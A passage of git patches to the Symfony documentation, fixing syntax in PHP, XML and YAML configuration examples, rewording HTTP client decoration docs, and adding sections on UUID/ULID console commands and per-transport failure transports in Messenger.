index d30893b58fe..ae436e631ee 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -34,7 +34,7 @@ additional directives):
 
 .. code-block:: text
 
-    Cache-Control: public, maxage=600
+    Cache-Control: public, max-age=600
 
 .. note::
 

From 5ab1233b6ecf36217b0c7aac890d8fec4f692c3e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 15:46:23 +0200
Subject: [PATCH 2098/7107] Minor tweaks

---
 http_client.rst | 48 ++++++++++++++++++++++++------------------------
 1 file changed, 24 insertions(+), 24 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index fbe80fd2b23..5133ba74a65 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1498,7 +1498,8 @@ This allows using them where native PHP streams are needed::
 Extensibility
 -------------
 
-In order to extend the behavior of a base HTTP client, decoration is the way to go::
+If you want to extend the behavior of a base HTTP client, you can use
+:doc:`service decoration </service_container/service_decoration>`::
 
     class MyExtendedHttpClient implements HttpClientInterface
     {
@@ -1511,11 +1512,11 @@ In order to extend the behavior of a base HTTP client, decoration is the way to
 
         public function request(string $method, string $url, array $options = []): ResponseInterface
         {
-            // do what you want here with $method, $url and/or $options
+            // process and/or change the $method, $url and/or $options as needed
+            $response = $this->decoratedClient->request($method, $url, $options);
 
-            $response = $this->decoratedClient->request();
-
-            //!\ calling any method on $response here would break async, see below for a better way
+            // if you call here any method on $response, the HTTP request
+            // won't be async; see below for a better way
 
             return $response;
         }
@@ -1526,13 +1527,13 @@ In order to extend the behavior of a base HTTP client, decoration is the way to
         }
     }
 
-A decorator like this one is suited for use cases where processing the
-requests' arguments is enough.
+A decorator like this one is useful in cases where processing the requests'
+arguments is enough. By decorating the ``on_progress`` option, you can
+even implement basic monitoring of the response. However, since calling
+responses' methods forces synchronous operations, doing so inside ``request()``
+will break async.
 
-By decorating the ``on_progress`` option, one can
-even implement basic monitoring of the response. But since calling responses'
-methods forces synchronous operations, doing so in ``request()`` breaks async.
-The solution then is to also decorate the response object itself.
+The solution is to also decorate the response object itself.
 :class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and
 :class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
 examples as a starting point.
@@ -1551,10 +1552,9 @@ processing the stream of chunks as they come back from the network::
 
         public function request(string $method, string $url, array $options = []): ResponseInterface
         {
-            // do what you want here with $method, $url and/or $options
+            // process and/or change the $method, $url and/or $options as needed
 
             $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
-
                 // do what you want with chunks, e.g. split them
                 // in smaller chunks, group them, skip some, etc.
 
@@ -1571,19 +1571,19 @@ it shall return an
 :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`.
 
 The custom processing of chunks should happen in ``$passthru``: this generator
-is where you need to write your logic. It will be called for each chunk yielded by
-the underlying client. A ``$passthru`` that does nothing would just ``yield $chunk;``.
-Of course, you could also yield a modified chunk, split the chunk into many
+is where you need to write your logic. It will be called for each chunk yielded
+by the underlying client. A ``$passthru`` that does nothing would just ``yield
+$chunk;``. You could also yield a modified chunk, split the chunk into many
 ones by yielding several times, or even skip a chunk altogether by issuing a
 ``return;`` instead of yielding.
 
 In order to control the stream, the chunk passthru receives an
 :class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second
 argument. This context object has methods to read the current state of the
-response. It also allows altering the response stream with methods to create new
-chunks of content, pause the stream, cancel the stream, change the info of the
-response, replace the current request by another one or change the chunk passthru
-itself.
+response. It also allows altering the response stream with methods to create
+new chunks of content, pause the stream, cancel the stream, change the info of
+the response, replace the current request by another one or change the chunk
+passthru itself.
 
 Checking the test cases implemented in
 :class:`Symfony\\Component\\HttpClient\\Response\\Tests\\AsyncDecoratorTraitTest`
@@ -1594,10 +1594,10 @@ Here are the use cases that it simulates:
 * send a preflight request, e.g. for authentication needs;
 * issue subrequests and include their content in the main response's body.
 
-The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse` has
-many safety checks that will throw a ``LogicException`` if the chunk passthru
-doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()`` one,
-or if a content chunk is yielded before an ``isFirst()`` one, etc.
+The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`
+has many safety checks that will throw a ``LogicException`` if the chunk
+passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
+one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
 
 Testing HTTP Clients and Responses
 ----------------------------------

From e4c5aefeed892bf49ac2801fda0d683bc6459fc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 16:17:45 +0200
Subject: [PATCH 2099/7107] Tweaks

---
 event_dispatcher.rst                  | 2 ++
 reference/configuration/framework.rst | 7 +++++++
 2 files changed, 9 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 450f23cf698..be7fe590e79 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -220,6 +220,8 @@ a "main" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
+            // The isMainRequest() method was introduced in Symfony 5.3.
+            // In previous versions it was called isMasterRequest()
             if (!$event->isMainRequest()) {
                 // don't do anything if it's not the main request
                 return;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 415acd6cb69..8dedb6d3ddc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1247,11 +1247,18 @@ only_exceptions
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
+.. _only_master_requests:
+
 only_main_requests
 ..................
 
 **type**: ``boolean`` **default**: ``false``
 
+.. versionadded:: 5.3
+
+    The ``only_main_requests`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``only_master_requests``.
+
 When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 

From 017ecd7f08cd8a8861edddf42b5291ddae1fa65f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 16:49:40 +0200
Subject: [PATCH 2100/7107] Tweak

---
 components/validator/resources.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 91809ec7097..c807ec1e540 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,8 +106,9 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
-``addDefaultDoctrineAnnotationReader`` must also be called to use ``Doctrine\Common\Annotations\AnnotationReader``::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method
+and then call ``addDefaultDoctrineAnnotationReader()`` to use Doctrine's
+annotation reader::
 
     use Symfony\Component\Validator\Validation;
 

From 2b0c05cc6eda6f7a7f21bdec448be5af8367e894 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 10:04:17 +0200
Subject: [PATCH 2101/7107] [Uid] Document the methods to generate and inspect
 UIDs

---
 components/uid.rst | 110 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 110 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 1bf66021fe1..f86e68ee129 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -370,6 +370,116 @@ of the ULID parameters::
         }
     }
 
+Generating and Inspecting UUIDs/ULIDs in the Console
+----------------------------------------------------
+
+.. versionadded:: 5.3
+
+    The commands to inspect and generate UUIDs/ULIDs were introduced in Symfony 5.3.
+
+This component provides several commands to generate and inspect UUIDs/ULIDs in
+the console. They are not enabled by default, so you must add the following
+configuration in your application before using these commands:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            Symfony\Component\Uid\Command\GenerateUlidCommand: ~
+            Symfony\Component\Uid\Command\GenerateUuidCommand: ~
+            Symfony\Component\Uid\Command\InspectUlidCommand: ~
+            Symfony\Component\Uid\Command\InspectUuidCommand: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="Symfony\Component\Uid\Command\GenerateUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\GenerateUuidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUuidCommand"/>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Uid\Command\GenerateUlidCommand;
+        use Symfony\Component\Uid\Command\GenerateUuidCommand;
+        use Symfony\Component\Uid\Command\InspectUlidCommand;
+        use Symfony\Component\Uid\Command\InspectUuidCommand;
+
+        return static function (ContainerConfigurator $configurator): void {
+            // ...
+
+            $services
+                ->set(GenerateUlidCommand::class)
+                ->set(GenerateUuidCommand::class)
+                ->set(InspectUlidCommand::class)
+                ->set(InspectUuidCommand::class);
+        };
+
+Now you can generate UUIDs/ULIDs as follows (add the ``--help`` option to the
+commands to learn about all their options):
+
+.. code-block:: terminal
+
+    # generate 1 random-based UUID
+    $ php bin/console uuid:generate --random-based
+
+    # generate 1 time-based UUID with a specific node
+    $ php bin/console uuid:generate --time-based=now --node=fb3502dc-137e-4849-8886-ac90d07f64a7
+
+    # generate 2 UUIDs and output them in base58 format
+    $ php bin/console uuid:generate --count=2 --format=base58
+
+    # generate 1 ULID with the current time as the timestamp
+    $ php bin/console ulid:generate
+
+    # generate 1 ULID with a specific timestamp
+    $ php bin/console ulid:generate --time="2021-02-02 14:00:00"
+
+    # generate 2 ULIDs and ouput them in RFC4122 format
+    $ php bin/console ulid:generate --count=2 --format=rfc4122
+
+In addition to generating new UIDs, you can also inspect them with the following
+commands to show all the information for a given UID:
+
+.. code-block:: terminal
+
+    $ php bin/console uuid:inspect d0a3a023-f515-4fe0-915c-575e63693998
+     ---------------------- --------------------------------------
+      Label                  Value
+     ---------------------- --------------------------------------
+      Version                4
+      Canonical (RFC 4122)   d0a3a023-f515-4fe0-915c-575e63693998
+      Base 58                SmHvuofV4GCF7QW543rDD9
+      Base 32                6GMEG27X8N9ZG92Q2QBSHPJECR
+     ---------------------- --------------------------------------
+
+    $ php bin/console ulid:inspect 01F2TTCSYK1PDRH73Z41BN1C4X
+     --------------------- --------------------------------------
+      Label                 Value
+     --------------------- --------------------------------------
+      Canonical (Base 32)   01F2TTCSYK1PDRH73Z41BN1C4X
+      Base 58               1BYGm16jS4kX3VYCysKKq6
+      RFC 4122              0178b5a6-67d3-0d9b-889c-7f205750b09d
+     --------------------- --------------------------------------
+      Timestamp             2021-04-09 08:01:24.947
+     --------------------- --------------------------------------
+
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`ULIDs`: https://github.com/ulid/spec

From baf915466a2eea9fa855df0bf342b2373c1badf4 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 20:00:07 +0200
Subject: [PATCH 2102/7107] Fixing syntax error in PHP, XML and Yaml examples

---
 cache.rst                                   |  2 +-
 components/console/helpers/table.rst        |  2 +-
 configuration/using_parameters_in_dic.rst   |  4 +--
 form/inherit_data_option.rst                | 30 +++++++++++++--------
 http_client.rst                             |  2 +-
 messenger.rst                               |  2 +-
 messenger/multiple_buses.rst                |  6 ++---
 reference/configuration/doctrine.rst        |  4 +--
 reference/configuration/framework.rst       |  2 +-
 reference/configuration/security.rst        |  4 +--
 reference/constraints/IsFalse.rst           |  8 +++---
 security/custom_authentication_provider.rst |  4 +--
 security/form_login_setup.rst               |  4 +--
 security/ldap.rst                           |  6 ++---
 security/named_encoders.rst                 |  2 +-
 security/remember_me.rst                    |  2 +-
 security/user_provider.rst                  |  5 ++--
 service_container.rst                       |  1 -
 service_container/alias_private.rst         |  4 +--
 service_container/autowiring.rst            |  1 +
 service_container/tags.rst                  |  2 +-
 templates.rst                               |  7 +++--
 workflow/dumping-workflows.rst              |  3 +--
 23 files changed, 59 insertions(+), 48 deletions(-)

diff --git a/cache.rst b/cache.rst
index 42a22ca55e3..12125402e0d 100644
--- a/cache.rst
+++ b/cache.rst
@@ -373,7 +373,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
 
                 $services->set('app.cace.adapter.redis')
                     ->parent('cache.adapter.redis')
-                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
             };
 
 Custom Provider Options
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 0e8df0d1031..45336c1175e 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -305,7 +305,7 @@ This results in:
         $table->setHeaders([
             [new TableCell('Main table title', ['colspan' => 3])],
             ['ISBN', 'Title', 'Author'],
-        ])
+        ]);
         // ...
 
     This generates:
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index c81fcf7fa14..329061a137f 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -77,8 +77,8 @@ Now, examine the results to see this closely:
         $container->loadFromExtension('my_bundle', [
                 'logging' => true,
                 // true, as expected
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle', [
                 'logging' => "%kernel.debug%",
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index f4161a21111..083e415aac4 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -129,15 +129,20 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Company;
+    use Symfony\Component\Form\AbstractType;
+
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options): void
+    class CompanyType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('foo', LocationType::class, [
-            'data_class' => Company::class,
-        ]);
+            $builder->add('foo', LocationType::class, [
+                'data_class' => Company::class,
+            ]);
+        }
     }
 
 .. code-block:: php
@@ -146,15 +151,18 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Customer;
-    // ...
+    use Symfony\Component\Form\AbstractType;
 
-    public function buildForm(FormBuilderInterface $builder, array $options): void
+    class CustomerType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('bar', LocationType::class, [
-            'data_class' => Customer::class,
-        ]);
+            $builder->add('bar', LocationType::class, [
+                'data_class' => Customer::class,
+            ]);
+        }
     }
 
 That's it! You have extracted duplicated field definitions to a separate
diff --git a/http_client.rst b/http_client.rst
index a71d4ab604b..da1595dbac7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -428,7 +428,7 @@ each request (which overrides any global authentication):
                         auth-bearer="the-bearer-token"
                         auth-ntlm="the-username:the-password"
                     />
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
diff --git a/messenger.rst b/messenger.rst
index 70944b9a2d0..526017c0093 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1219,7 +1219,7 @@ this globally (or for each transport) to a service that implements
                 ],
                 'transports' => [
                     'async_priority_normal' => [
-                        'dsn' => // ...
+                        'dsn' => ...,
                         'serializer' => 'messenger.transport.symfony_serializer',
                     ],
                 ],
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index c79aeb7b2b7..240e9cdc6cc 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -56,13 +56,13 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="command.bus">
                         <framework:middleware id="validation"/>
                         <framework:middleware id="doctrine_transaction"/>
-                    <framework:bus>
+                    </framework:bus>
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
                     <framework:bus name="event.bus" default-middleware="allow_no_handlers">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
                 </framework:messenger>
             </framework:config>
         </container>
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index cf49aaaa2b9..3d2435e73a0 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -327,7 +327,7 @@ directory instead:
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -378,7 +378,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 55f68325ac5..a55b9816a6e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2751,7 +2751,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
                     <framework:pool
                         name="cache.mycache"
                         adapter="cache.adapter.redis"
-                        default-lifetime=3600
+                        default-lifetime="3600"
                     />
                 </framework:cache>
                 <!-- ... -->
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 399794e2402..34416786207 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -167,7 +167,7 @@ encoding algorithm. Also, each algorithm defines different config options:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -716,7 +716,7 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 63f1364024c..515f5635172 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -100,11 +100,11 @@ method returns **false**:
                     'message' => "You've entered an invalid state.",
                 ]));
             }
-        }
 
-        public function isStateInvalid()
-        {
-            // ...
+            public function isStateInvalid()
+            {
+                // ...
+            }
         }
 
 .. include:: /reference/constraints/_null-values-are-valid.rst.inc
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 920c8315f05..f7f377af617 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -422,7 +422,7 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
     .. code-block:: php
 
-         // config/services.php
+        // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Security\Authentication\Provider\WsseProvider;
@@ -563,7 +563,7 @@ in order to put it to use::
 
     // src/DependencyInjection/Security/Factory/WsseFactory.php
     namespace App\DependencyInjection\Security\Factory;
-    
+
     use App\Security\Authentication\Provider\WsseProvider;
 
     class WsseFactory implements SecurityFactoryInterface
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index d78a415ff34..3e6a20d8140 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -107,7 +107,7 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -319,7 +319,7 @@ a traditional HTML form that submits to ``/login``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/ldap.rst b/security/ldap.rst
index 3b5b549e7ec..63c0b406f06 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -198,7 +198,7 @@ use the ``ldap`` user provider.
                     ],
                 ],
             ],
-        ];
+        ]);
 
 .. caution::
 
@@ -414,7 +414,7 @@ Configuration example for form login
                     ],
                 ],
             ]
-        ];
+        ]);
 
 Configuration example for HTTP Basic
 ....................................
@@ -471,7 +471,7 @@ Configuration example for HTTP Basic
                     'stateless' => true,
                 ],
             ],
-        ];
+        ]);
 
 Configuration example for form login and query_string
 .....................................................
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 22bc333dec4..a5a82bc7021 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -33,7 +33,7 @@ to apply to all instances of a specific class:
                 <!-- ... -->
                 <encoder class="App\Entity\User"
                     algorithm="auto"
-                    cost=12
+                    cost="12"
                 />
             </config>
         </srv:container>
diff --git a/security/remember_me.rst b/security/remember_me.rst
index a2fa1bcda96..631a6528e43 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -263,7 +263,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: xml
 
-            # config/packages/doctrine.xml
+            <!-- config/packages/doctrine.xml -->
             <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
 
         .. code-block:: php
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 07227868afe..bd5b9fb27b0 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -44,6 +44,7 @@ to retrieve them:
     .. code-block:: yaml
 
         # config/packages/security.yaml
+        security:
             # ...
 
             providers:
@@ -138,7 +139,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
         public function loadUserByUsername($usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
-            
+
             return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
@@ -413,7 +414,7 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
-        
+
         /**
          * Upgrades the encoded password of a user, typically for using a better hash algorithm.
          */
diff --git a/service_container.rst b/service_container.rst
index fec082a377c..21aa508b897 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1033,7 +1033,6 @@ for classes under the same namespace:
             <services>
                 <prototype namespace="App\Domain"
                     resource="../src/App/Domain/*"/>
-                </prototype>
 
                 <!-- ... -->
             </services>
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f202ce8d277..9dd7ac41c4e 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -269,7 +269,7 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->args([inline(AnonymousBar::class)])
+                ->args([inline(AnonymousBar::class)]);
         };
 
 .. note::
@@ -320,7 +320,7 @@ Using an anonymous service as a factory looks like this:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->factory([inline(AnonymousBar::class), 'constructFoo'])
+                ->factory([inline(AnonymousBar::class), 'constructFoo']);
         };
 
 Deprecating Services
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 04058c6b9ac..bb08f8b6516 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -526,6 +526,7 @@ the injection::
                 // want to use a named autowiring alias, wire it manually:
                 //     ->arg('$transformer', ref(UppercaseTransformer::class))
                 // ...
+            ;
         };
 
 Thanks to the ``App\Util\TransformerInterface`` alias, any argument type-hinted
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 76d4cb9792e..20a58e379e4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -847,7 +847,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
-                    <!-- ... --!>
+                    <!-- ... -->
 
                     <service id="App\HandlerCollection">
                         <!-- use getIndex() instead of getDefaultIndexName() -->
diff --git a/templates.rst b/templates.rst
index 09314868c2d..5a72407d582 100644
--- a/templates.rst
+++ b/templates.rst
@@ -553,9 +553,12 @@ also provides a method to check for template existence. First, get the loader::
     // in a service using autowiring
     use Twig\Environment;
 
-    public function __construct(Environment $twig)
+    class YourService
     {
-        $loader = $twig->getLoader();
+        public function __construct(Environment $twig)
+        {
+            $loader = $twig->getLoader();
+        }
     }
 
 Then, pass the path of the Twig template to the ``exists()`` method of the loader::
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 1611082c6f4..8a537e71415 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -63,7 +63,7 @@ You can use ``metadata`` with the following keys to style the workflow:
 
   * ``bg_color``: a color;
   * ``description``: a string that describes the state.
-  
+
 * for transitions:
 
   * ``label``: a string that replaces the name of the transition;
@@ -169,7 +169,6 @@ Below is the configuration for the pull request state machine with styling added
                             <framework:bg_color>DeepSkyBlue</framework:bg_color>
                         </framework:metadata>
                     </framework:place>
-                    </framework:place>
 
                     <framework:transition name="submit">
                         <framework:from>start</framework:from>

From d784895ac3995c4999b0e5a31554d709cd8417e7 Mon Sep 17 00:00:00 2001
From: Hugo Monteiro <hugo.monteiro@gmail.com>
Date: Sat, 4 Apr 2020 19:28:30 +0100
Subject: [PATCH 2103/7107] [Messenger] Multiple failed transports

---
 messenger.rst | 104 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 104 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 77e0ae8f8e2..ae53e5d734b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -865,6 +865,110 @@ If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
 
+Multiple Failed Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes it is not enough to have a single, global ``failed transport`` configured
+because some messages are more important than others. In those cases, you can
+override the failure transport for only specific transports:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                # after retrying, messages will be sent to the "failed" transport 
+                # by default if no "failed_transport" is configured inside a transport 
+                failure_transport: failed_default
+
+                transports:
+                    async_priority_high:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        failure_transport: failed_high_priority
+
+                    # since no failed transport is configured, the one used will be
+                    # the global "failure_transport" set
+                    async_priority_low:
+                        dsn: 'doctrine://default?queue_name=async_priority_low'
+
+                    failed_default: 'doctrine://default?queue_name=failed_default'
+                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority' 
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- after retrying, messages will be sent to the "failed" transport 
+                by default if no "failed-transport" is configured inside a transport -->
+                <framework:messenger failure-transport="failed_default">
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/> 
+                    <!-- since no "failed_transport" is configured, the one used will be
+                    the global "failed_transport" set -->
+                    <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/>
+                    
+                    <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/>
+                    <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                // after retrying, messages will be sent to the "failed" transport 
+                // by default if no "failure_transport" is configured inside a transport
+                'failure_transport' => 'failed_default',
+
+                'transports' => [
+                    'async_priority_high' => [
+                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
+                        'failure_transport' => 'failed_high_priority'
+                    ],
+                    // since no failed transport is configured, the one used will be
+                    // the global failure_transport set 
+                    'async_priority_low' => [
